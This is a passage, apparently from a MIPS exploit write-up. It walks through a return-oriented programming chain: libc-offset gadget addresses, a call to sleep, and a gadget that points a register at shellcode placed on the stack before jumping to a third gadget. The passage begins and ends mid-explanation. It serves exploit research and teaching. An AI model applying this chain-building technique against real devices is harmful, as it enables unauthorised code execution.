sleep is located at 0x00053ca0 => so $s0 = 0x2ab35ca0
This gadget calls sleep, in this gadget we also set the return adress to the second ROP gadget which is controlled by setting appropriate value on the stack location 0x1c($sp), i.e., the first value on the stack, due to the instruction at 0x0004c980.
Second ROP (stack_gadget): 0x00039fa8 + libc_base = 0x2ab1bfa8
0x00039fa8 addiu s0, sp, 0x28
0x00039fac move a0, s3

0x00039fb8 jalr t9
This gadget will set s0 to point our shellcode on the stack, that must be located at sp+0x28.
Then as we control s1, we jump to the last and third ROP gadget.

0x000406d8 move t9, s0
